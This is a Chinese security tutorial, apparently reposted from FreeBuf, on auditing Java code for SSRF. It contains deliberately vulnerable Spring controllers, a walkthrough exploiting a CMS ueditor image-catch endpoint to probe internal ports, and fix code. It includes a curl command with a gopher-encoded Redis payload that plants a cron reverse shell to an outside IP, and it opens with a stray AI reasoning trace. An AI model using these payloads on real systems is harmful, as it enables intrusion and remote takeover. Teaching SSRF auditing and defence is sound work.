以小白视角进行JAVA代码审计——SSRF漏洞
嗯,用户让我帮忙总结一篇文章的内容,控制在100字以内,而且不需要特定的开头。首先,我需要仔细阅读文章,理解它的主要部分。 文章主要讲的是SSRF漏洞,也就是服务端请求伪造。它解释了SSRF的定义、攻击方式以及可能的影响。接着,文章列举了多个可能出现SSRF漏洞的地方,比如社交分享、转码服务、在线翻译等等。然后,作者通过两个具体的Java代码示例来说明如何利用SSRF漏洞,比如使用HttpClient和 HttpURLConnection来发起攻击。 接下来,文章讨论了实战中的漏洞分析和利用方法,包括如何探测内网服务和端口。还提到了一些高级利用点,比如结合gopher协议和Redis进行远程代码执行。最后,作者给出了修复建议,包括使用白名单限制URL、禁用重定向以及一些代码级别的防御措施。 总结起来,这篇文章全面介绍了SSRF漏洞的各个方面,从基础概念到实际案例分析和修复方法。因此,在总结时需要涵盖这些关键点:SSRF的定义、常见场景、利用示例以及修复建议。 </think> 本文介绍了SSRF(服务端请求伪造)漏洞的概念及其攻击方式,并列举了常见场景如社交分享、转码服务等。通过Java代码示例展示了漏洞利用方法,并分析了实战中的渗透测试流程及修复建议。 2025-11-5 08:59:58 Author: www.freebuf.com(查看原文) 阅读量:1 收藏

一、SSRF漏洞介绍

1.1. SSRF漏洞

SSRF漏洞,全称Server Side Request Forgery(服务端请求伪造)。是一种 Web 安全漏洞,允许攻击者诱导服务器端应用程序向非预期位置发出请求。SSRF漏洞攻击的目标是从外网无法访问的内网系统。在典型的SSRF漏洞攻击中,攻击者可通过该漏洞攻击目标服务器的内网系统,比如:探测内网服务(通过响应不同判断),扫描开放端口(通过响应不同判断),使用File协议读取本地文件等操作。若存在redis协议,我们可以配合gopher协议进行攻击。

SSRF黑盒可能出现地方:

1、社交分享功能:获取超链接的标题等内容进行显示。
2、转码服务:通过URL地址把原地址的网页内容优调使其适合手机屏幕浏览
3、在线翻译:给网址翻译对应网页内容。
4、图片加载/下载:例如富文本编辑器中的点击图片下载到本地:通过URL地址加载或下载图片。
访问内网,私有ip,进行爆破查询。
5、图片/文章收藏功能:主要获取URL地址中title以及文本内容作为显示以求一个好的用户体验。
6、云服务器厂商:它会远程执行命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行SSRF测试。
7、网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集操作。
8、数据库内置功能:数据库例如mongodb的copyDatabase函数。
9、邮件系统:比如接收右键服务器地址。
10、编码处理,属性信息处理,文件处理:例如ffpmg,lmageMagick,docx,pdf,xml处理器等。
11、未公开的api实现以及其他扩展调用URL的功能:可以利用google语法加上这些关键字去寻找SRF漏洞
share、wap、url、link、src、source、target、u、3g、display、sourceURL、imageURL、domain
12、从远程服务器请求资源(upload from url 如discuz!;import&expost rss feed如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc php)

在相关重要服务部署在内网,我们无法访问,但是可以通过服务器来实现访问测试。例如如下相关渗透测试流程。

1762332496_690b0f509fba32ba88204.png!small?1762332498244

1.2. SSRF漏洞

Java网络请求支持的协议包括:http,https,file,ftp,mailto,jar,netdoc。如下图所示:

1762332527_690b0f6f970a55ab9ed03.png!small?1762332529098

二、相关测试案例

这里我举两个例子,通过相关本地搭建的简易测试代码,并开启本机的3306端口(数据库端口)来验证我们的相关SSRF漏洞。

1762332546_690b0f8201b892cda9567.png!small?1762332547437

相关源码环境搭建

1762332562_690b0f92c21c52d460bf1.png!small?1762332564844

2.1. HttpClient

HttpClient 是Apache Jakarta Common 下的子项目,可以用来提供高效的、最新的、功能丰富的支持 HTTP 协议的客户端编程工具包,并且它支持 HTTP 协议最新的版本和建议。HttpClient 实现了 HTTP1.0 和 HTTP1.1。也实现了 HTTP 全部的方法,如:GET, POST, PUT, DELETE, HEAD, OPTIONS, TRACE。

依赖:

<dependency>
    <groupId>org.apache.httpcomponents</groupId>
    <artifactId>httpclient</artifactId>
    <version>4.5.12</version>
</dependency>
@RestController
@RequestMapping("/ssrfvul")
public class HttpClientController {

    //访问链接:http://ip:port/ssrfvul/httpclient/vul?url=https://www.baidu.com
    @GetMapping("/httpclient/vul")
    public String HttpClientDemo(@RequestParam String url) throws IOException {

            StringBuilder result = new StringBuilder();
            //创建Httpclient对象
            CloseableHttpClient client = HttpClients.createDefault();
            //创建GET请求
            HttpGet httpGet = new HttpGet(url);
            //发送请求
            HttpResponse httpResponse = client.execute(httpGet);
            //获取响应内容
            BufferedReader rd = new BufferedReader(new InputStreamReader(httpResponse.getEntity().getContent()));
            String line;
            while ((line = rd.readLine()) != null) {
                result.append(line);
            }
            return result.toString();
    }

}

1762332582_690b0fa628b16249f9cc5.png!small

访问url:http://127.0.0.1:8088/ssrfvul/httpclient/vul

1762332591_690b0faf574c1fef145c0.png!small?1762332592793

添加url参数http://127.0.0.1:8088/ssrfvul/httpclient/vul?url=http://www.baidu.com

1762332608_690b0fc0df18957d2ae70.png!small?1762332610350

探测本地服务,端口存在,且回显内容。

1762332622_690b0fce55b648792a443.png!small?1762332623725

不存在的话,就可能回显500(回显500不一定就是端口未开放,一些Http协议不支持的端口也可能出现500)

1762332634_690b0fda25bfb27fb84d2.png!small?1762332635764

2.2. java.net.HttpURLConnection

java.net.URLConnection,是Java原生的HTTP请求方法。URLConnection 类包含了许多方法可以让你的 URL 在网络上通信。此类的实例既可用于读取URL所引用的资源,也可用于写入URL所引用资源。相关测试代码如下:

package com.example.ssrfdemo;

import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.URL;
import java.net.URLConnection;

@RestController
@RequestMapping("/ssrfvul")
public class UrlConnectionController {

    //访问链接:http://ip:port/ssrfvul/urlconnection/vul?url=https://www.baidu.com
    @GetMapping("/urlconnection/vul")
    public String UrlConnectionDemo(@RequestParam String url) throws IOException {

        StringBuilder result = new StringBuilder();
        URL url1 = new URL(url);
        URLConnection urlConn = url1.openConnection();
        urlConn.connect();
        BufferedReader in = new BufferedReader(new InputStreamReader(
                urlConn.getInputStream()));
        String inputLine;
        while ((inputLine = in.readLine()) != null) {
            result.append(inputLine);
        }
        in.close();
        return result.toString();
    }
}

1762332661_690b0ff5661039ff4835d.png!small

访问url:http://127.0.0.1:8088/ssrfvul/urlconnection/vul?url=http://www.baidu.com,可以看到跳转到了百度的页面。

1762332669_690b0ffd0a1149de04d5b.png!small?1762332670457

这里可以尝试一些协议,例如file协议读取文件,在windows中,常读取的测试文件为"c:/windows/win.ini"

1762332681_690b1009cd8c17fe27788.png!small?1762332683300

我们也可以读取远控文件,例如向日葵的配置文件,解密后即可登录进入相关主机。可以看看我上一篇文章的介绍。

1762332701_690b101d4df4883ffeed5.png!small?1762332703651

三、实战分析

3.1. 环境搭建

某系统存在未授权SSRF漏洞,首先搭建环境,配置好数据库和maven,运行即可。

1762332724_690b103415cd7c3283dea.png!small?1762332726042

访问本地8080端口,环境搭建成功。

1762332768_690b10600725cd51164ae.png!small?1762332770033

3.2. 漏洞点分析

全局搜索SSRF漏洞函数,例如openConnection函数,跟踪相关调用该函数引用点。这里看到是144行调用了相关代码,且相关参数是src。

1762332789_690b10752d764c1778ace.png!small?1762332791546

向上追踪,发现src是source[]传入的一个数组赋值给src,source是通过前端参数进行引入的。

1762332803_690b1083424033d78bd94.png!small?1762332805354

主要代码分析

protected void ueditorCatchImage(Site site, HttpServletRequest request,
                                     HttpServletResponse response) throws IOException {
        String[] source = request.getParameterValues("source[]");
        //前端传入sourcep[]数组参数
        if (source == null) {
            source = new String[0];
        }
        //循环遍历sorce[]中的值
        for (int i = 0; i < source.length; i++) {
            String src = source[i];
            //获取文件扩展名
            String extension = FilenameUtils.getExtension(src);
            // 格式验证是否有效
            if (!gu.isExtensionValid(extension, Uploader.IMAGE)) {
                // state = "Extension Invalid";
                // 如果扩展名无效,跳过该图片
                continue;
            }
            //设置不跟随重定向
            HttpURLConnection.setFollowRedirects(false);
            // 打开与远程图片的连接
            HttpURLConnection conn = (HttpURLConnection) new URL(src).openConnection();

我们向上分析,是谁调用了ueditorCatchImage函数,发现是ueditorCatchImage使用了该函数,寻找触发方式。

1762332823_690b1097497bc5c993c19.png!small?1762332825361

在上面看到了ueditorCatchImage触发方式,要求为action参数需要包含ueditorCatchImage,才可以触发。

1762332834_690b10a253ca36fa77c82.png!small?1762332836402

其主接口为/core/ueditor.do

1762332847_690b10af5c2b7a6b3becc.png!small?1762332849288

3.3. 漏洞点利用

访问url:http://127.0.0.1:8080/cmscp/core/ueditor.do

1762332869_690b10c508d672289750e.png!small?1762332870401

进行构造,例如http://127.0.0.1:8080/cmscp/core/ueditor.doaction=catchimage&source[]=http://www.baidu.com/,访问成功。

1762332899_690b10e3ed22fd616e449.png!small?1762332901237

试试内网探测呢,3306(开启)和3307(关闭)端口存活情况。发现有很大的差异。

1762332916_690b10f4b722186c7501a.png!small?1762332918071

1762332922_690b10fa5fc3a77a5e238.png!small?1762332923797

四、其他利用点

当我们发现ssrf后,可以查看其是否支持gopher协议,通过gopher协议配合redis进行rce。例如以下文章。

https://mp.weixin.qq.com/s/yrOrTFtB7TEhGcOeitJSCA

curl -v 'http://xxx.xxx.xx.xx/xx.php?url=
gopher://172.21.0.2:6379/
_*1%250d%250a%248%250d%250aflushall%250d%250a%2a3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2464%250d%250a%250d%250a%250a%250a%2a%2f1%20%2a%20%2a%20%2a%20%2a%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.220.140%2f2333%200%3E%261%250a%250a%250a%250a%250a%250d%250a%250d%250a%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2fvar%2fspool%2fcron%2f%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2a1%250d%250a%244%250d%250asave%250d%250aquit%250d%250a'

其他的SSRF利用,可以看看以下文章:

https://mp.weixin.qq.com/s/RNgBo0WQp8lrthk9k8P-3A

五、修复方式

1、安全代码参考来源:https://github.com/j3ers3/Hello-Java-Sec

// 判断是否是http类型
public static boolean isHttp(String url) {
    return url.startsWith("http://") || url.startsWith("https://");
}

// 判断是否为内网
public static boolean isIntranet(String url) {
    Pattern reg = Pattern.compile("^(127\\.0\\.0\\.1)|(localhost)|(10\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})|(172\\.((1[6-9])|(2\\d)|(3[01]))\\.\\d{1,3}\\.\\d{1,3})|(192\\.168\\.\\d{1,3}\\.\\d{1,3})$");
    Matcher match = reg.matcher(url);
    Boolean a = match.find();
    return a;
}

// 不允许跳转或判断跳转
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
conn.setInstanceFollowRedirects(false); // 不允许重定向或者对重定向后的地址做二次判断
conn.connect();
package org.joychou.security;

import org.joychou.config.WebConfig;
import org.joychou.security.ssrf.SSRFChecker;
import org.joychou.security.ssrf.SocketHook;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.net.URI;
import java.net.URISyntaxException;
import java.net.URLDecoder;
import java.util.ArrayList;
import java.util.regex.Pattern;


public class SecurityUtil {

    private static final Pattern FILTER_PATTERN = Pattern.compile("^[a-zA-Z0-9_/\\.-]+$");
    private static Logger logger = LoggerFactory.getLogger(SecurityUtil.class);


    /**
     * Determine if the URL starts with HTTP.
     *
     * @param url url
     * @return true or false
     */
    public static boolean isHttp(String url) {
        return url.startsWith("http://") || url.startsWith("https://");
    }


    /**
     * Get http url host.
     *
     * @param url url
     * @return host
     */
    public static String gethost(String url) {
        try {
            URI uri = new URI(url);
            return uri.getHost().toLowerCase();
        } catch (URISyntaxException e) {
            return "";
        }
    }


    /**
     * 同时支持一级域名和多级域名,相关配置在resources目录下url/url_safe_domain.xml文件。
     * 优先判断黑名单,如果满足黑名单return null。
     *
     * @param url the url need to check
     * @return Safe url returns original url; Illegal url returns null;
     */
    public static String checkURL(String url) {

        if (null == url){
            return null;
        }

        ArrayList<String> safeDomains = WebConfig.getSafeDomains();
        ArrayList<String> blockDomains = WebConfig.getBlockDomains();

        try {
            String host = gethost(url);

            // 必须http/https
            if (!isHttp(url)) {
                return null;
            }

            // 如果满足黑名单返回null
            if (blockDomains.contains(host)){
                return null;
            }
            for(String blockDomain: blockDomains) {
                if(host.endsWith("." + blockDomain)) {
                    return null;
                }
            }

            // 支持多级域名
            if (safeDomains.contains(host)){
                return url;
            }

            // 支持一级域名
            for(String safedomain: safeDomains) {
                if(host.endsWith("." + safedomain)) {
                    return url;
                }
            }
            return null;
        } catch (NullPointerException e) {
            logger.error(e.toString());
            return null;
        }
    }


    /**
     * 通过自定义白名单域名处理SSRF漏洞。如果URL范围收敛,强烈建议使用该方案。
     * 这是最简单也最有效的修复方式。因为SSRF都是发起URL请求时造成,大多数场景是图片场景,一般图片的域名都是CDN或者OSS等,所以限定域名白名单即可完成SSRF漏洞修复。
     *
     * @author JoyChou @ 2020-03-30
     * @param url 需要校验的url
     * @return Safe url returns true. Dangerous url returns false.
     */
    public static boolean checkSSRFByWhitehosts(String url) {
        return SSRFChecker.checkURLFckSSRF(url);
    }


    /**
     * 解析URL的IP,判断IP是否是内网IP。如果有重定向跳转,循环解析重定向跳转的IP。不建议使用该方案。
     *
     * 存在的问题:
     *   1、会主动发起请求,可能会有性能问题
     *   2、设置重定向跳转为第一次302不跳转,第二次302跳转到内网IP 即可绕过该防御方案
     *   3、TTL设置为0会被绕过
     *
     * @param url check的url
     * @return 安全返回true,危险返回false
     */
    @Deprecated
    public static boolean checkSSRF(String url) {
        int checkTimes = 10;
        return SSRFChecker.checkSSRF(url, checkTimes);
    }


    /**
     * 不能使用白名单的情况下建议使用该方案。前提是禁用重定向并且TTL默认不为0。
     *
     * 存在问题:
     *  1、TTL为0会被绕过
     *  2、使用重定向可绕过
     *
     * @param url The url that needs to check.
     * @return Safe url returns true. Dangerous url returns false.
     */
    public static boolean checkSSRFWithoutRedirect(String url) {
        if(url == null) {
            return false;
        }
        return !SSRFChecker.isInternalIpByUrl(url);
    }

    /**
     * Check ssrf by hook socket. Start socket hook.
     *
     * @author liergou @ 2020-04-04 02:15
     */
    public static void startSSRFHook() throws IOException {
        SocketHook.startHook();
    }

    /**
     * Close socket hook.
     *
     * @author liergou @ 2020-04-04 02:15
     **/
    public static void stopSSRFHook(){
        SocketHook.stopHook();
    }



    /**
     * Filter file path to prevent path traversal vulns.
     *
     * @param filepath file path
     * @return illegal file path return null
     */
    public static String pathFilter(String filepath) {
        String temp = filepath;

        // use while to sovle multi urlencode
        while (temp.indexOf('%') != -1) {
            try {
                temp = URLDecoder.decode(temp, "utf-8");
            } catch (UnsupportedEncodingException e) {
                logger.info("Unsupported encoding exception: " + filepath);
                return null;
            } catch (Exception e) {
                logger.info(e.toString());
                return null;
            }
        }

        if (temp.contains("..") || temp.charAt(0) == '/') {
            return null;
        }

        return filepath;
    }


    public static String cmdFilter(String input) {
        if (!FILTER_PATTERN.matcher(input).matches()) {
            return null;
        }

        return input;
    }


    /**
     * 过滤mybatis中order by不能用#的情况。
     * 严格限制用户输入只能包含<code>a-zA-Z0-9_-.</code>字符。
     *
     * @param sql sql
     * @return 安全sql,否则返回null
     */
    public static String sqlFilter(String sql) {
        if (!FILTER_PATTERN.matcher(sql).matches()) {
            return null;
        }
        return sql;
    }

    /**
     * 将非<code>0-9a-zA-Z/-.</code>的字符替换为空
     *
     * @param str 字符串
     * @return 被过滤的字符串
     */
    public static String replaceSpecialStr(String str) {
        StringBuilder sb = new StringBuilder();
        str = str.toLowerCase();
        for(int i = 0; i < str.length(); i++) {
            char ch = str.charAt(i);
            // 如果是0-9
            if (ch >= 48 && ch <= 57 ){
                sb.append(ch);
            }
            // 如果是a-z
            else if(ch >= 97 && ch <= 122) {
                sb.append(ch);
            }
            else if(ch == '/' || ch == '.' || ch == '-'){
                sb.append(ch);
            }
        }

        return sb.toString();
    }

    public static void main(String[] args) {
    }

}

文章来源: https://www.freebuf.com/articles/web/455763.html
如有侵权请联系:admin#unsafe.sh